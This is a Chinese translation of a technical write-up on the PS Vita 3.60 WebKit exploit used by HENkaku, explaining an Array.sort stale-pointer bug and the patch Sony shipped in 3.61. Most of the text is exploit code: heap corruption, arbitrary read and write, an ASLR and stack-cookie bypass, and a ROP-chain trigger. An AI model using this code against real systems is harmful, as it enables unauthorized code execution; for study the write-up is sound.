转载

如何在掌机Vita 3.60上利用WebKit

POC

我们将目标锁定在用户模式下能够进行代码执行的Webkit,Webkit有一个Javascript引擎,特别是当我们需要绕过ASLR时给予了我们很多的帮助。在PS Vita上的浏览器同样不需要登录PSN(PlayStation Network),不会自动更新,并且可以执行一个非常简单的利用链(访问网站并按下按钮)。

不像3DS没有ASLR,Vita webkit拥有一个可接纳9位墒增的ASRL,这使得通过暴力破解的方法异常艰难(一般情况下需要512次重启设备来触发利用,恐怖!)因此,我们需要一个比通用use-after-free + vptr覆盖更好的方案。

在此感谢我的朋友,让我能够设法获得一个不错的POC脚本用以在最新的固件中崩溃掉Vita的浏览器。接下来我们从这个脚本开始:

var almost_oversize = 0x3000;
var foo = Array.prototype.constructor.apply(null, new Array(almost_oversize));
var o = {};
o.toString = function () { foo.push(12345); return ""; }
foo[0] = 1;
foo[1] = 0;
foo[2] = o;
foo.sort();

若你在Linux主机上使用Sony的WebKit运行它,你可以看到出现一个分段错误。画面转向调试器:

Thread 1 "GtkLauncher" received signal SIGSEGV, Segmentation fault.
0x00007ffff30bec35 in JSC::WriteBarrierBase<JSC::Unknown>::set (this=0x7fff98ef8048, owner=0x7fff9911ff60, value=...) at ../../Source/JavaScriptCore/runtime/WriteBarrier.h:152
152            m_value = JSValue::encode(value);
(gdb) bt
#0  0x00007ffff30bec35 in JSC::WriteBarrierBase<JSC::Unknown>::set (this=0x7fff98ef8048, owner=0x7fff9911ff60, value=...) at ../../Source/JavaScriptCore/runtime/WriteBarrier.h:152
#1  0x00007ffff32cb9bf in JSC::ContiguousTypeAccessor<(unsigned char)27>::setWithValue (vm=..., thisValue=0x7fff9911ff60, data=..., i=0, value=...) at ../../Source/JavaScriptCore/runtime/JSArray.cpp:1069
#2  0x00007ffff32c8809 in JSC::JSArray::sortCompactedVector<(unsigned char)27, JSC::WriteBarrier<JSC::Unknown> > (this=0x7fff9911ff60, exec=0x7fff9d6e8078, data=..., relevantLength=3)
    at ../../Source/JavaScriptCore/runtime/JSArray.cpp:1171
#3  0x00007ffff32c4933 in JSC::JSArray::sort (this=0x7fff9911ff60, exec=0x7fff9d6e8078) at ../../Source/JavaScriptCore/runtime/JSArray.cpp:1214
#4  0x00007ffff329c844 in JSC::attemptFastSort (exec=0x7fff9d6e8078, thisObj=0x7fff9911ff60, function=..., callData=..., callType=@0x7fffffffbfb4: JSC::CallTypeNone)
    at ../../Source/JavaScriptCore/runtime/ArrayPrototype.cpp:623
#5  0x00007ffff329db4c in JSC::arrayProtoFuncSort (exec=0x7fff9d6e8078) at ../../Source/JavaScriptCore/runtime/ArrayPrototype.cpp:697

<the rest does not matter>

事实证明,当执行Javascript Array.sort函数时,其接触到未映射内存。这是怎么回事呢?

The bug

我们来看看JSArray::sort方法(Source/JavaScriptCore/runtime/JSArray.cpp)。因为我们的数组是ArrayWithContiguous类型,那么它是如何创建Array.prototype.constructor.apply(null, new Array(almost_oversize));我们进入sortCompactedVector函数瞧瞧,以下为它的完整实现:

template<IndexingType indexingType, typename StorageType>
void JSArray::sortCompactedVector(ExecState* exec, ContiguousData<StorageType> data, unsigned relevantLength)
{
    if (!relevantLength)
        return;

    VM& vm = exec->vm();

    // Converting JavaScript values to strings can be expensive, so we do it once up front and sort based on that.
    // This is a considerable improvement over doing it twice per comparison, though it requires a large temporary
    // buffer. Besides, this protects us from crashing if some objects have custom toString methods that return
    // random or otherwise changing results, effectively making compare function inconsistent.

    Vector<ValueStringPair, 0, UnsafeVectorOverflow> values(relevantLength);
    if (!values.begin()) {
        throwOutOfMemoryError(exec);
        return;
    }

    Heap::heap(this)->pushTempSortVector(&values);

    bool isSortingPrimitiveValues = true;

    for (size_t i = 0; i < relevantLength; i++) {
        JSValue value = ContiguousTypeAccessor<indexingType>::getAsValue(data, i);
        ASSERT(indexingType != ArrayWithInt32 || value.isInt32());
        ASSERT(!value.isUndefined());
        values[i].first = value;
        if (indexingType != ArrayWithDouble && indexingType != ArrayWithInt32)
            isSortingPrimitiveValues = isSortingPrimitiveValues && value.isPrimitive();
    }

    // FIXME: The following loop continues to call toString on subsequent values even after
    // a toString call raises an exception.

    for (size_t i = 0; i < relevantLength; i++)
        values[i].second = values[i].first.toWTFStringInline(exec);

    if (exec->hadException()) {
        Heap::heap(this)->popTempSortVector(&values);
        return;
    }

    // FIXME: Since we sort by string value, a fast algorithm might be to use a radix sort. That would be O(N) rather
    // than O(N log N).

#if HAVE(MERGESORT)
    if (isSortingPrimitiveValues)
        qsort(values.begin(), values.size(), sizeof(ValueStringPair), compareByStringPairForQSort);
    else
        mergesort(values.begin(), values.size(), sizeof(ValueStringPair), compareByStringPairForQSort);
#else
    // FIXME: The qsort library function is likely to not be a stable sort.
    // ECMAScript-262 does not specify a stable sort, but in practice, browsers perform a stable sort.
    qsort(values.begin(), values.size(), sizeof(ValueStringPair), compareByStringPairForQSort);
#endif

    // If the toString function changed the length of the array or vector storage,
    // increase the length to handle the orignal number of actual values.
    switch (indexingType) {
    case ArrayWithInt32:
    case ArrayWithDouble:
    case ArrayWithContiguous:
        ensureLength(vm, relevantLength);
        break;

    case ArrayWithArrayStorage:
        if (arrayStorage()->vectorLength() < relevantLength) {
            increaseVectorLength(exec->vm(), relevantLength);
            ContiguousTypeAccessor<indexingType>::replaceDataReference(&data, arrayStorage()->vector());
        }
        if (arrayStorage()->length() < relevantLength)
            arrayStorage()->setLength(relevantLength);
        break;

    default:
        CRASH();
    }

    for (size_t i = 0; i < relevantLength; i++)
        ContiguousTypeAccessor<indexingType>::setWithValue(vm, this, data, i, values[i].first);

    Heap::heap(this)->popTempSortVector(&values);
}

该函数从JS array中获取值,并将这些值放入一个临时向量中,对向量进行排序,然后再将这些值传回JS array。在37行中的一个for循环,对每个使用toString方法的元素进行调用。当它调用我们的o对象时,会发生什么呢?

function () {
    foo.push(12345);
    return "";
}

一个已排序的整数被传送到数组,这将导致该数组元素重新进行分配。在81行该元素又写回数组,然而 没有用重新分配过的数值来更新 data指针,说明:

如何在掌机Vita 3.60上利用WebKit

灰色区域为未分配内存,在调用realloc后在Linux上它实际是未映射的。与此同时,data依然是指向旧的内存位置。尝试向未映射内存写入数据,结果web浏览器得到一个分段错误。

边界外读取/写入

根据不同的内容,JSArray对象在内存中可能会以不同的方式存储。不管怎样,我们只需做一件事,依照元素数据头(黄色)加上数组内容(绿色)进行连续存储内容仅仅是一个JSValue结构向量

union EncodedValueDescriptor {
    int64_t asInt64;
    double asDouble;
    struct {
        int32_t payload;
        int32_t tag;
    } asBits;
};

该元数据头容纳了两个有趣的字段:

uint32_t m_publicLength; // The meaning of this field depends on the array type, but for all JSArrays we rely on this being the publicly visible length (array.length).
uint32_t m_vectorLength; // The length of the indexed property storage. The actual size of the storage depends on this, and the type.

当前我们的目标是将这两个字段覆盖,并“扩展”数组让其超出实际分配空间。为了实现这一目标,接下来我们便修改o.toString方法:

var normal_length = 0x800;
var fu = new Array(normal_length);
var arrays = new Array(0x100);
o.toString = function () {
    foo.push(12345);
    for (var i = 0; i < arrays.length; ++i) {
        var bar = Array.prototype.constructor.apply(null, fu);
        bar[0] = 0;
        bar[1] = 1;
        bar[2] = 2;
        arrays[i] = bar;
    }
    return "";
}

如何在掌机Vita 3.60上利用WebKit

在这个例子中(并不反映实际数组的大小),当这个排序完的值通过data指针写回,两个第2的元数据头以及第3个bar被覆盖我们用什么东西来覆盖他们呢?记住,我们之前提到的绿色区域为JSValue对象的向量,每个JSValue对象为8字节。但是如果我们将foo填充进去,比如0×80000000,我们只能控制4个字节,其余的就留给tag使用,tag是什么?

enum { Int32Tag =        0xffffffff };
enum { BooleanTag =      0xfffffffe };
enum { NullTag =         0xfffffffd };
enum { UndefinedTag =    0xfffffffc };
enum { CellTag =         0xfffffffb };
enum { EmptyValueTag =   0xfffffffa };
enum { DeletedValueTag = 0xfffffff9 };

enum { LowestTag =  DeletedValueTag };

WebKit JavaScriptCore 包以不同类型传入一个单一的JSValue结构:它可以是一个int类型,一个布尔类型,一个cell(指向对象的指针),null,未定义类型,或者一个double类型。所以我们写入54321,我们仅能控制该结构的一半,另一半被设置为Int32Tag或0xffffffff。然而,我们也可以写入double类型数据,比如54321.0。如此我们便能完全控制结构的8个字节了。接下来写入double类型数据:

foo[0] = o;
var len = u2d(0x80000000, 0x80000000);
for (var i = 1; i < 0x2000; ++i)
    foo[i] = len;
foo.sort();

u2d/d2u是用于在int数据和double数据之间进行转换的小工具:

var _dview = null;
// u2d/d2u taken from PSA-2013-0903
// wraps two uint32s into double precision
function u2d(low,hi)
{
    if (!_dview) _dview = new DataView(new ArrayBuffer(16));
    _dview.setUint32(0,hi);
    _dview.setUint32(4,low);
    return _dview.getFloat64(0);    
}

function d2u(d)
{
    if (!_dview) _dview = new DataView(new ArrayBuffer(16));
    _dview.setFloat64(0,d);
    return { low: _dview.getUint32(4), 
             hi:  _dview.getUint32(0) };    
}

如果我们现在着眼于arrays,我们能够找到一些JSArray对象,这是由于扩展后超出其原本边界并且它们的长度被设置为0×80000000。这使我们成功的在Vita崩溃了一个JSArray对象,但是在Linux上只有在点击保护页面才会崩溃。无关痛痒,因为我们要搞的是Vita,又不是Linux。当我们向一个损坏了的bar对象写入数据,我们可以实现一个边界外读取/写入,真棒!接下来提升一下难度,实现真正意义上的任意读写。精明的读者可能已经注意到,由于Vita是一个32-bit控制器,且我们将长度设置为0×80000000,每个JSValue都是8个字节,事实上我们已经有任意读写的能力。此外,我们可以只写入double数据,以方便我们。

任意读写

为了获取任意读写,我使用了与2.00-3.20WebKit exploit相同的窍门。 详情请阅读 Spray 缓冲区:

buffers = new Array(spray_size);
buffer_len = 0x1344;
for (var i = 0; i < buffers.length; ++i)
    buffers[i] = new Uint32Array(buffer_len / 4);

在内存中找到Uint32Array缓冲区,在破坏缓冲区(这里调用arr)之前在一些任意偏移量之中搜索元素

var start = 0x20000000-0x11000;
for(;; start--) {
    if (arr[start] != 0) {
        _dview.setFloat64(0, arr[start]);
        if (_dview.getUint32(0) == buffer_len / 4) { // Found Uint32Array
            _dview.setUint32(0, 0xEFFFFFE0);
            arr[start] = _dview.getFloat64(0); // change buffer size

            _dview.setFloat64(0, arr[start-2]);
            heap_addr = _dview.getUint32(4); // leak some heap address
            _dview.setUint32(4, 0)
            _dview.setUint32(0, 0x80000000);
            arr[start-2] = _dview.getFloat64(0); // change buffer offset
            break;
        }
    }
}

找到损坏的Uint32Array:

corrupted = null;
for (var i = 0; i < buffers.length; ++i) {
    if (buffers[i].byteLength != buffer_len) {
        corrupted = buffers[i];
        break;
    }
}
var u32 = corrupted;

至此获得真正意义上的任意读写,并且我们获得了一些泄漏的堆地址。

代码执行

这里还是使用的老把戏textarea对象,首先修改最初的Uint32Array heap spray插入textarea对象:

spray_size = 0x4000;

textareas = new Array(spray_size);
buffers = new Array(spray_size);
buffer_len = 0x1344;
textarea_cookie = 0x66656463;
textarea_cookie2 = 0x55555555;
for (var i = 0; i < buffers.length; ++i) {
    buffers[i] = new Uint32Array(buffer_len / 4);
    var e = document.createElement("textarea");
    e.rows = textarea_cookie;
    textareas[i] = e;
}

使用损坏的Uint32Array对象,在内存中找寻textarea:

var some_space = heap_addr;
search_start = heap_addr;

for (var addr = search_start/4; addr < search_start/4 + 0x4000; ++addr) {
    if (u32[addr] == textarea_cookie) {
        u32[addr] = textarea_cookie2;
        textarea_addr = addr * 4;
        break;
    }
}

/*
    Change the rows of the Element object then scan the array of
    sprayed objects to find an object whose rows have been changed
*/
var found_corrupted = false;
var corrupted_textarea;
for (var i = 0; i < textareas.length; ++i) {
    if (textareas[i].rows == textarea_cookie2) {
        corrupted_textarea = textareas[i];
        break;
    }
}

至此,在textarea中我们有两个views:我们可以使用u32直接在内存中进行修改,并且可以从JavaScript调用该函数。这个想法的目的是通过我们的“内存访问”覆盖vptr,之后通过JavaScript调用修改后的函数表。

解决方案1 :ASRL

Vita有ASRL保护,这也是为什么我们不得不使用这么多exploit的原因。但随着任意读写,我们可以控制只泄漏textarea vptr,完美绕过ASLR:

function read_mov_r12(addr) {
    first = u32[addr/4];
    second = u32[addr/4 + 1];
    return ((((first & 0xFFF) | ((first & 0xF0000) >> 4)) & 0xFFFF) | ((((second & 0xFFF) | ((second & 0xF0000) >> 4)) & 0xFFFF) << 16)) >>> 0;
}

var vtidx = textarea_addr - 0x70;
var textareavptr = u32[vtidx / 4];

SceWebKit_base = textareavptr - 0xabb65c;
SceLibc_base = read_mov_r12(SceWebKit_base + 0x85F504) - 0xfa49;
SceLibKernel_base = read_mov_r12(SceWebKit_base + 0x85F464) - 0x9031;
ScePsp2Compat_base = read_mov_r12(SceWebKit_base + 0x85D2E4) - 0x22d65;
SceWebFiltering_base = read_mov_r12(ScePsp2Compat_base + 0x2c688c) - 0x9e5;
SceLibHttp_base = read_mov_r12(SceWebFiltering_base + 0x3bc4) - 0xdc2d;
SceNet_base = read_mov_r12(SceWebKit_base + 0x85F414) - 0x23ED;
SceNetCtl_base = read_mov_r12(SceLibHttp_base + 0x18BF4) - 0xD59;
SceAppMgr_base = read_mov_r12(SceNetCtl_base + 0x9AB8) - 0x49CD;

接下来我们来聊聊代码执行,Vita没有JIT并且不可能分配RWX内存,所以我们不得不在ROP中写入整个payload。旧的exploit调用JSoS,详细描述 戳这里 。然而在这里损坏JSArray对象后,浏览器变得很不稳定,所以我们要尽可能的减少运行JavaScript。 Davee 写的新版本 roptool 支持ASLR,这里的思路是roptool输出中的一些字(一个字为4个字节)需要给它们重新指定配置信息。在重新配置payload之后,也就是要向这些字添加不同的base(SceWebKit_base/SceLibc_base/etc),我们可以正常打开由此产生的ROP链。

解决方案:Stack-pivot保护

因为不知道固件版本,所以这里还有一个解决方案:当你的线程栈指针还在其堆栈时,会检测内核。如果不是这种情况,会结束掉整个应用程序。为了绕过,需要在线程栈中 安置我们的ROP链 。要做到这一点,就需要得知线程栈的虚拟地址,由于ASRL我们无从得知。然而,我们可以任意读写。有很多方法泄漏出堆栈指针,这里我使用 setjmp 函数。

下面我们就调用它:

// copy vtable
for (var i = 0; i < 0x40; i++)
    u32[some_space / 4 + i] = u32[textareavptr / 4 + i];

u32[vtidx / 4] = some_space;

// backup our obj
for (var i = 0; i < 0x30; ++i)
    backup[i] = u32[vtidx/4 + i];

// call setjmp and leak stack base
u32[some_space / 4 + 0x4e] = SceLibc_base + 0x14070|1; // setjmp
corrupted_textarea.scrollLeft = 0; // call setjmp

现在我们的corrupted_textarea在内存已被jmp_buf覆盖,之后我们恢复最初的内容。这样做是为了保证当我们试图用损坏的textarea对象做一些事情的时候,JavaScript不会让浏览器崩溃。

// restore our obj
for (var i = 0; i < 0x30; ++i)
    u32[vtidx/4 + i] = backup[i];

不辛的是,如果我们在SceLibc中注意到setjmp实现,我们碰上了另一个利用缓解方案:

ROM:81114070 setjmp
ROM:81114070                 PUSH            {R0,LR}
ROM:81114072                 BL              sub_81103DF2 // Returns high-quality random cookie
ROM:81114076                 POP             {R1,R2}
ROM:81114078                 MOV             LR, R2
ROM:8111407A                 MOV             R3, SP
ROM:8111407C                 STMIA.W         R1!, {R4-R11}
ROM:81114080                 EORS            R2, R0 // LR is XOR'ed with a cookie
ROM:81114082                 EORS            R0, R3 // SP is XOR'ed with the same cookie
ROM:81114084                 STMIA           R1!, {R0,R2}
ROM:81114086                 VSTMIA          R1!, {D8-D15}
ROM:8111408A                 VMRS            R2, FPSCR
ROM:8111408E                 STMIA           R1!, {R2}
ROM:81114090                 MOV.W           R0, #0
ROM:81114094                 BX              LR

所以:

stored_LR = LR ^ cookie
stored_SP = SP ^ cookie

得知SceWebKit_base后,可以判断出LR的真实值使用了离散代数黑魔法:

cookie = stored_LR ^ LR
SP = stored_SP ^ cookie
SP = stored_SP ^ (stored_LR ^ LR)

或者在JavaScript:

sp = (u32[vtidx/4 + 8] ^ ((u32[vtidx/4 + 9] ^ (SceWebKit_base + 0x317929)) >>> 0)) >>> 0;
sp -= 0xef818; // adjust to get SP base

现在我们可以将ROP Payload写入线程栈,并且保证应用程序进程不会被杀掉。

最后,代码执行

首先,我们重新配置ROP payload,记住我们是如何得到这个payload以及relocs,在payload.js中,你可以看到:

payload = [2119192402,65537,0,0,1912    // and it goes on...
relocs = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,  // ...

每个来自relocs数组的数字表明了一个payload成员已经重新配置。例如0表示没有进行重新配置,1表示增加rop_data_base,2表示增加SceWebKit_base,3表示增加SceLibKernel_base。(一个roptool-generated ROP链有两个部分:代码和数据。代码为ROP堆栈,数据为类似字符串或缓冲器填充物。rop_data_base为数据的vaddr,rop_code_base为代码的vaddr)接下来连续循环重新配置payload到线程栈的操作:

// relocate the payload
rop_data_base = sp + 0x40;
rop_code_base = sp + 0x10000;

addr = sp / 4;
// Since relocs are applied to the whole rop binary, not just code/data sections, we replicate
// this behavior here. However, we split it into data section (placed at the top of the stack)
// and code section (placed at stack + some big offset)
for (var i = 0; i < payload.length; ++i, ++addr) {
    if (i == rop_header_and_data_size)
        addr = rop_code_base / 4;

    switch (relocs[i]) {
    case 0:
        u32[addr] = payload[i];
        break
    case 1:
        u32[addr] = payload[i] + rop_data_base;
        break;
    /*
        skipped most relocs
    */
    default:
        alert("wtf?");
        alert(i + " " + relocs[i]);
    }
}

在这个循环中,我们将payload分为两部分:代码和数据部分。所以我们一旦完成重新配置数据部分: if (i == rop_header_and_data_size),我们就切换到代码部分:addr = rop_code_base / 4

如何在掌机Vita 3.60上利用WebKit

图片左边为ROP链是如何存储在payload数组。在图片右边为ROP链是如何写入堆栈。最后,触发ROP链:

// 54c8: e891a916 ldm r1, {r1, r2, r4, r8, fp, sp, pc}
u32[some_space / 4 + 0x4e] = SceWebKit_base + 0x54c8;

var ldm_data = some_space + 0x100;
u32[ldm_data/4 + 5] = rop_code_base;              // sp
u32[ldm_data/4 + 6] = SceWebKit_base + 0xc048a|1; // pc = pop {pc}

// This alert() is used to distinguish between the webkit exploit fail
// and second stage exploit fail
// - If you don't see it, the webkit exploit failed
// - If you see it and then the browser crashes, the second stage failed
alert("Welcome to HENkaku!");

corrupted_textarea.scrollLeft = ldm_data;         // trigger ropchain, r1=arg

// You won't see this alert() unless something went terribly wrong
alert("that's it");

当corrupted_textarea.scrollLeft = ldm_data完成,我们的LDM工具将被调用,由于覆盖了vtable,R1会变成ldm_data,所以它会从这个缓冲区加载SP = rop_code_base和PC = pop {pc},因此将启动ROP链。

奖励:索尼如何修复它

索尼会定期更新这个WebKit的源码,按照 LGPL的要求 以下为对比3.60与3.61源码之间的差异(已省略不相关部分):

diff -r 360/webkit_537_73/Source/JavaScriptCore/runtime/JSArray.cpp 361/webkit_537_73/Source/JavaScriptCore/runtime/JSArray.cpp
1087,1096c1087,1123
-     }
- };
- 
- 
- template<IndexingType indexingType, typename StorageType>
- void JSArray::sortCompactedVector(ExecState* exec, ContiguousData<StorageType> data, unsigned relevantLength)
- {
-     if (!relevantLength)
-         return;
-     
---
+     }
+ };
+ 
+ template <>
+ ContiguousJSValues JSArray::storage<ArrayWithInt32, WriteBarrier<Unknown> >()
+ {
+     return m_butterfly->contiguousInt32();
+ }
+ 
+ template <>
+ ContiguousDoubles JSArray::storage<ArrayWithDouble, double>()
+ {
+     return m_butterfly->contiguousDouble();
+ }
+ 
+ template <>
+ ContiguousJSValues JSArray::storage<ArrayWithContiguous, WriteBarrier<Unknown> >()
+ {
+     return m_butterfly->contiguous();
+ }
+ 
+ template <>
+ ContiguousJSValues JSArray::storage<ArrayWithArrayStorage, WriteBarrier<Unknown> >()
+ {
+     ArrayStorage* storage = m_butterfly->arrayStorage();
+     ASSERT(!storage->m_sparseMap);
+     return storage->vector();
+ }
+ 
+ template<IndexingType indexingType, typename StorageType>
+ void JSArray::sortCompactedVector(ExecState* exec, ContiguousData<StorageType> data, unsigned relevantLength)
+ {
+     data = storage<indexingType, StorageType>();
+ 
+     if (!relevantLength)
+         return;
+     
1167,1172c1194,1200
-         CRASH();
-     }
- 
-     for (size_t i = 0; i < relevantLength; i++)
-         ContiguousTypeAccessor<indexingType>::setWithValue(vm, this, data, i, values[i].first);
-     
---
+         CRASH();
+     }
+ 
+     data = storage<indexingType, StorageType>();
+     for (size_t i = 0; i < relevantLength; i++)
+         ContiguousTypeAccessor<indexingType>::setWithValue(vm, this, data, i, values[i].first);
+

在写值之前修正了data指针。所以即使数组获得reallocated,仍然会写入到适当的内存中。这也是尝试在3.61运行HENkaku造成alert(“restart the browser”)错误的原因。

结语

希望你能够喜欢这篇文章,由于我写了太多HENkaku exploit chain,被禁止参加 KOTH challenge ,但至少我还是享受了整个挑战的快感!

*参考来源: xyz ,FB小编鸢尾编译,转载请注明来自FreeBuf.COM。

原文  http://www.freebuf.com/geek/120042.html
正文到此结束
Loading...